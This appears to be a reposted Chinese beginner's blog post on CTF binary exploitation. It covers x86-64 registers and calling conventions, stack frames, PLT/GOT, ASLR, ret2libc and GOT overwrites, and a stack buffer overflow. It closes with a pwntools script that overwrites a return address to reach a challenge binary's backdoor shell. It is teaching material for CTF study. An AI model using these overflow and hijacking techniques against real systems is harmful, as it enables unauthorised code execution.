宣城市网站建设_网站建设公司_前端开发_seo优化
2025/12/18 2:19:12 网站建设 项目流程

博客原链

Reference

hello ctf

初学 Pwn,二进制安全

我们的目的通常是得到 system 函数的参数,得到 system 我们就可以操控服务器的操作系统。

在 Pwn 题中,我们最想构造的参数永远是 /bin/sh

  • 如果执行 system("ls"):程序只是列出当前目录的文件,然后马上结束,又回到了受限状态。

  • 如果执行 system("/bin/sh")

    • sh 是 Linux 的 Shell(壳层) 程序。

    • 当运行它时,它不会自动结束,而是会跳出一个光标,等待你输入新的命令。

    • 这时候,我们获得了一个直接和系统对话的终端窗口。

这就是所谓的 Get Shell(拿设)。

在提供的代码中,往往没有访问根目录的权限,而当我们执行 system("/bin/sh") 后,我们就可以在根目录查看 flag。

x86环境,初识汇编语言 1

C++ 为代表的高级语言,与汇编语言有很大的区别,其中有个区别在于 如何传递参数

#include<stdio.h>int main(){printf("hello world");return 0;
}

以上述代码(设为 main.c)为例,这里的“参数”指的就是字符串 "hello world" 的内存地址。

C 这类高级语言中,你不需要操心这个字符串放在哪,也不需要操心 printf 怎么拿到它,编译器会帮你搞定一切。

但是从汇编语言的角度来讲,CPU 在执行 printf 函数时(即汇编语言中 call printf 指令),必须先把参数准备好,放到 寄存器 上,printf 来了直接从寄存器取。

(寄存器:一个位于 CPU 内的储存结构,里边可以储存一些变量)

寄存器

执行 gcc -S main.c -o main.s -masm=intel,我们的 C 语言源码 main.c 会被编译,并输出等价的 intel 语法的汇编语言源码在 main.s

.LC0:.string "hello world"
main:lea rdi, .LC0[rip]mov eax, 0call    printf@PLTmov eax, 0ret

以上是刚刚代码的汇编代码(摘选),其中:

.LC0:.string "hello world"

指定义数据,.LC0Local Constant 0(局部常量 0 号),是 gcc 编译器自己起的名字,他在编译器眼里代表了一个内存地址。

那么汇编语言中 lea rdi, .LC0[rip]指,把 .LC0(也就是 "hello world" 字符串)在内存里的地址,复制rdi 寄存器里放好。

等到 call printf时,它会习惯性地去 rdi 里看一眼,就能找到这个字符串在哪里了。

最后 mov eax, 0 其实与 return 0 相对应,即汇编里的返回值,接下来我们将分别解析这三部分

  • 为什么传递的是“地址”而不是“字符串本身”?

这就是为什么使用寄存器,寄存器 rdi 很小,只有 64 位(8 个字节),放不下很长的字符串。所以我们不把整个“hello world”塞进寄存器,而是把它的地址告诉寄存器。printf 拿到地址,就能自己去内存里读出整个字符串了。

  • 那么 CPU 中有多少寄存器呢?如果有很多寄存器,如何保证 printf 调用 rdi 寄存器?

CPU 中寄存器不止一个,但是他们的分工非常明确。

在 x86 环境下,调用约定(Calling Convention)规定,函数在被调用时,参数必须按照特定的顺序放在特定的寄存器里

printf 不会只看 rdi,它会根据你给它的参数数量,依次去检查不同的寄存器。

当你在 C 语言里调用一个函数(比如 printfadd)时,前 6 个 整数型参数 必须 依次存放 在以下寄存器中:

(这里 整数型参数 指指针是一个整数,任何类型的指针 void *, int *, struct node * 在传参规则里,通通都被视为“整数”。)
(真正不走 rdi, rsi 这条路的,主要是 浮点数,它们使用 XMM 寄存器,从 xmm0xmm7

  1. rdi,Destination Index(目的)。
  2. rsi,Source Index (源)。
  3. rdx,Data(数据)。
  4. rcx,Counter(计数)。
  5. r8,第 8 号。
  6. r9,第 9 号。

容易发现他们的前缀都有一个 r,这其实是 Register 的意思,代表了 64 位。

同理,e 开头,代表 Extended (32位)。

无前缀:代表 16位。

L/H 后缀 (DIL):代表 Low (8位)。这是最小的一个字节。

RDIEDI 为例,它们在物理上是同一个寄存器,该规则适用于所有通用寄存器。

回归正题,如果函数调用,超过 6 个参数,第 7 个开始的参数才会被放在栈 (Stack) 上。

举个例子:

假设你在 C 语言里写了这样一行代码,有两个参数:

//       参数1    参数2
printf("数字是: %d", 666);

汇编的世界里,这一行代码会被拆解成这样:

  1. 准备参数 1:把字符串 "数字是: %d" 的地址放入 rdi
  2. 准备参数 2:把整数 666 放入 rsi
  3. 调用:call printf

printf 先分析 rdi寄存器,rdi = "数字是: %d" 的地址,然后分析字符串发现 %d,于是 依次 分析 rsi,打印整数 666

另外还有很多很重要的寄存器,我还在学习()

  • 题外话:为社么第 5 个寄存器名为 r8

其实是不太有意义的问题,“8”代表的是它在 CPU 里的编号,而不是它在传递参数时的顺位。

编号为 8 的原因,是因为在 x32 时代,cpu 里只有 8 个寄存器(编号从 0 到 7),当时的工程师还给它们起比较有意义的名字:

0,RAX,累加器 (Accumulator)
1,RCX,计数器 (Counter)
2,RDX,数据 (Data)
3,RBX,基址 (Base)
4,RSP,栈顶 (Stack Pointer)
5,RBP,栈底 (Base Pointer)
6,RSI,源索引 (Source Index)
7,RDI,目的索引 (Destination Index)

到了 x86-64 时代,决定再加 8 个新的寄存器。新来的自然就从 8 号 开始排,一直排到 15 号。

R8, R9, R10, R11, R12, R13, R14, R15

调用函数与系统库

容易观察到 call printf@PLT,后面有一个 @PLT,指 Procedure Linkage Table(过程链接表)

printf 并不是我写的函数,而是系统自带的库函数(位于 libc.so 这个大仓库里),而系统库 libc 的内存地址在每一次运行中位置不同。

这个深刻的机制叫 ASLR(Address Space Layout Randomization,地址空间布局随机化)。

如果没有 ASLR 机制,那么系统库的地址永远固定在一个位置,就容易被黑客写攻击脚本。

为了安全性,ASLR 把水搅浑,每一次新的运行,系统库的内存地址都会改变。

但是,系统库的位置是变化的,printf 等函数相对系统库的位置却是固定的,于是我们称这个相对距离叫 偏移量

返回到 call printf@PLT 上来,既然 printf 的内存地址的变化的,那么我们需要知道 printf 具体在哪,这就需要两个工具:

  • PLT(过程链接表 - Procedure Linkage Table) 和 GOT(全局偏移表 - Global Offset Table)

PLT 执行以下两种操作:

  1. 若要访问的地址已经存在于 GOT 中:直接访问。

  2. 若要访问的地址不存在于 GOT 中,那么使用 “动态链接器 ld-linux.so 现查这个地址,再把它写入 GOT 中。

  • 动态链接器Dynamic Linker ld-linux.so,它在程序运行前先 随机 找到一块内存空地,放入 libc.so,记录下 libc 的基地址。
  • PLT 调用其时,再重定位。

PLTGOT 有点类似于 接线员和通讯录 的关系,又有点像 搜索后的记忆化

GOT 表 是一块可读写的白板,而且接线员 (PLT) 对通讯录 (GOT) 是绝对信任的,那么我们可以通过更改 GOT 的方法使得程序,执行不该执行的命令。

这带来了著名的 GOT 覆写攻击

而且得到了 printf 的地址,我们就可以通过 确定 的偏移量,得到很多东西确定的位置。

这带来了一个经典的攻击技巧:Ret2Libc(Return to Libc)

Ret2Libc(Return to Libc)。

如果我想调用 system("/bin/sh"),但不知道 system 今天的真实地址在哪里(因为 ASLR),你需要做两步:

  1. 泄露 (Leak):先想办法读取内存,获知现在 printf 的真实地址(假设它是 Addr_A)。

  2. 计算:

  • 我知道 printfsystem 在 libc 文件里的相对距离(偏移量差)。
  • 比如:system 永远在 printf 后面 0x1000 字节处。(仅为假设)
  • 计算出 system 的地址 = Addr_A + 0x1000

现在你算出 system 的地址了,就可以控制程序跳转过去了。

GOT 覆写攻击

攻击者的操作:

  1. 利用漏洞(比如任意地址写),偷偷把 GOT 表上记录的 printf 的真实地址,擦掉。
  2. 在上面写上 system 函数的地址。
  3. 等到程序下次执行 call printf@PLT 时...
  4. PLT 调用错误的地址,执行错误命令。
  5. 结果:本该打印东西,结果却执行了命令(Get Shell)。

汇编里的返回值

观察:

mov eax, 0
call    printf@PLT
mov eax, 0
ret

eax 这个寄存器十分的特殊,它是 返回值寄存器

当我们调用某个函数,必须把其 运算结果任务状态 放入 eax 寄存器,例如:

  • 如果是 add(2, 3)add 函数算完后,会把 5 放入 eax,然后才返回。
  • 如果是 main 函数:最后 return 0,就是把 0 放入 eax,告诉系统“我正常运行结束了”。

那么汇编中,为什么有两句 mov eax, 0 呢?

首先必须了解,mov 接收者(Dest),发送者(Source) 的结构,那么

对于第二处:

mov eax, 0
ret

毫无疑问,return 0 为了保证函数结束时,eax 里的值确确实实是 0,所以在执行 ret 之前,必须强制把 0 塞进 eax

对于第一处:

mov eax, 0
call    printf@PLT

因为 printf 是一个变参函数(参数个数不确定)。

系统规定:在调用变参函数时,必须用 eax (具体说是 al) 告诉函数,有几个参数是浮点数(放在向量寄存器里的)。

拿这个程序举例子:

  1. 我们调用 printf("hello world")
  2. 这句话里没有浮点数(小数)。
  3. 所以,我们必须把 eax 设置为 0。
  4. 如果我们不把 eax 清零,而 eax 里正好残留了一个垃圾数据(比如 5),printf 就会误以为有 5 个浮点数,跑去读取浮点寄存器,这有可能会导致程序崩溃。

x86环境,初识汇编语言 2

#include<stdio.h>int add(int a, int b){return a + b;
} int main(){printf("%d", add(2, 3));return 0;
}

对上面的程序进行汇编:

add:push    rbpmov rbp, rspmov DWORD PTR -4[rbp], edimov DWORD PTR -8[rbp], esimov edx, DWORD PTR -4[rbp]mov eax, DWORD PTR -8[rbp]add eax, edxpop rbpret
main:push    rbpmov rbp, rspmov esi, 3mov edi, 2call    addmov esi, eaxlea rdi, .LC0[rip]mov eax, 0call    printf@PLTmov eax, 0pop rbpret

我们主要看函数调用部分:

add:push    rbpmov rbp, rspmov DWORD PTR -4[rbp], edimov DWORD PTR -8[rbp], esimov edx, DWORD PTR -4[rbp]mov eax, DWORD PTR -8[rbp]add eax, edxpop rbpret

存储逻辑,栈

对于每一个函数调用过程,都会有一个属于其的栈空间。

对于每一个程序,其启动的时候,内核会为其分配一段 内存,称为栈,遵循先进后出。
(内存里只有一个大栈,所有函数共用,但是 rbp寄存器只有一个

首先,在 main 函数调用 call add 时,CPU 自动把 “返回地址” 压入栈

接下来进入 add 函数:

RSP,栈顶 (Stack Pointer)
RBP,栈底 (Base Pointer)

push rbp:保存上一级函数(此例中为 main)的基址指针。

在新的栈上进行操作,不能把上一级函数的调用位置忘了,所以先把他压到栈 保存起来,接下来我们好对 rbq 这个寄存器修改,类似于 swap(a,b) 中的 temp 变量。

mov rbp, rsp:把当前的栈顶变成为新的栈底。

现在,由于 rbp 指向的位置已经被保存在栈了,所以我们将现在的 rbp 寄存器作为新的栈底,建该层函数新的内容,那这层函数刚刚开始,栈顶 rsp 就是这侧函数的 rbp

rsp 寄存器储存的总是当前栈顶的位置。)

往下看直到 pop rbq 的意义其实不大,可以跳过:

edi 是刚刚学的,一个 32位寄存器,对应了代码中的 int a

DWORD PTR,Double Word Pointer,意思是“操作 4 个字节”(因为 int 是 4 字节),**它的针对对象是 -4[rbp] **。

QWORD PTR 代表 8 字节或 指针WORD PTR 代表 2 字节,BYTE PTR代表 1 字节)

-4[rbp]:意思是在栈底往上挪 4 个字节的位置。

那么这段代码含义就是:把参数 a 从寄存器里拿出来,备份到栈内存里。

那么我们第一个汇编代码为什么没有 DWORD PTR

因为这个指的是 在内存里操作 4 字节,也就是只有真正对内存操作时,才需要引用,而 栈属于内存

如果对第一个代码更改如下:

int main() {int secret = 1234;  // 定义了一个局部变量printf("hello world");return 0;
}

就会生成以下的汇编:

mov DWORD PTR -4[rbp], 1234  ; 

那么现在又有一个问题,我在汇编 1 中写道:

如果函数调用,超过 6 个参数,第 7 个开始的参数才会被放在栈 (Stack) 上。

那么为什么这段汇编代码上来就把两个参数传到了栈里?

因为这是 函数的临时变量是储存于栈上的,它是储存问题,不是传参问题。

汇编 2 的汇编代码:

    mov esi, 3mov edi, 2call    add

它的传参依然是传的寄存器,没有动栈。

最后

函数做完了,执行

pop rbp
ret
  • pop rbp:
    • 把栈顶的值弹出, 还给 rbp 寄存器,这样我们返回上一级函数时,栈帧是正常的。
  • ret
    • 还记得 call add自动把返回地址入栈吗,当 rbp 已经弹出,这个返回地址就露出了。
    • ret 会从栈顶弹出一个地址(返回地址),并跳过去执行。

栈溢出

栈溢出的本质,其实是一场“方向的碰撞”

我们得知:

  • 栈的生长方向:从高地址 -> 低地址。
    • push 会让 RSP 减小,新开辟的局部变量(buffer)在低地址。
  • 数据的写入方向:从低地址 -> 高地址。
    • 不管是在 C 语言里写数组 buffer[0], buffer[1]...,还是用 read、gets、strcpy 函数,写入数据时永远是往高地址增长的。

结果: 如果你往 buffer 里写的数据太多,它就会向高地址增长,冲掉栈的内容。

假设 vulnerable_function 里有一个 char buffer[16],并且有一个 read(0, buffer, 100) 的漏洞(最大读入 100 个字符),或者 gets(buffer) 的漏洞(不检查输入长度)。

内存地址 (高 -> 低) 内存里存的东西 它是谁?
0x1010 0x00401234 返回地址 (Ret Addr)
(指向 Main 的下一行)
0x1008 0x00001000 旧 rbp
(main 的栈底)
0x1000 (空) buffer[8-15] 局部变量的高位
0x0FF8 (空) buffer[0-7] 局部变量的起始位置
(read 从这里开始写)

(注:这里 buffer 是 16 字节,所以占了两个格子)

现在,我们利用漏洞,强行输入 24 个 'A',再加上 8 个 'B'。

  1. 填满 Buffer (16字节) 输入的前 16 个 'A',老老实实地填满了 0x0FFF0x1007 的空间。此时一切正常。
  2. 淹没 rbp (8字节) 我们没有停手,继续输入:接下来的 8 个 'A' 没地方去了,只能顺着地址往高处写,它们无情地覆盖了 0x1008 处的 旧 rbp。
  • 程序虽然还没崩,但当它想恢复 main 函数的栈底时,会拿到一堆 'A' (0x41414141...),导致 main 函数的栈废了。
  1. 劫持 Ret,我们还在输入:最后的 8 个 'B' 继续往高处写,覆盖了 0x1010 处的 返回地址。
  • 原本这里写着“回 Main 函数的路”,现在被改成了 'BBBBBBBB' (0x42424242...)。

vulnerable_function 运行结束,执行到 ret 指令时,程序跳转到了一个非法地址,崩溃了(Segmentation Fault)。

那么,我们如果把最后 8 个 B,换成 后门函数(backdoor) 的真实地址,CPU 就会跳进去帮我们找到 Shell。

一个例题

反编译,main 函数如下:

image

vulnerable 函数如下:

image

发现 gets(v1) 函数不检查长度,而 v1[12] 长度只有12。

image

backdoor 函数直接就是我们想要的 system("/bin/sh")

按照计算,我们需要先把 bufferrbp 顶掉,20个 A 即可,然后我们再发送 backdoor 地址。

IDA View-A 中找到地址:

image

.text:00000000004011B6 这就是 backdoor 的地址。

from pwn import *target_ip = ''
target_port = # 创建远程连接
io = remote(target_ip, target_port)# (可选) 如果是本地调试,可以用 process
# io = process('./pwn') # 根据刚才的 IDA 分析:
# Buffer(12) + RBP(8) = 20
offset = 20 # Backdoor 函数地址 (0x4011B6)
# 也可以用 elf.symbols['backdoor'] 自动获取,但手填也没问题
backdoor_addr = 0x4011B6# 3. 构造 Payload
# 垃圾数据填充 (20个 'A')
payload = b'A' * offset# 拼接后门地址
payload += p64(backdoor_addr)# 发送攻击
# 先接收一下程序输出的欢迎语 "Tell me your name:"
io.recvuntil(b"name:")# 发送我们的 Payload
io.sendline(payload)# 5. 拿到 Shell 权限
print("Payload sent! Switching to interactive mode...")
io.interactive()

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询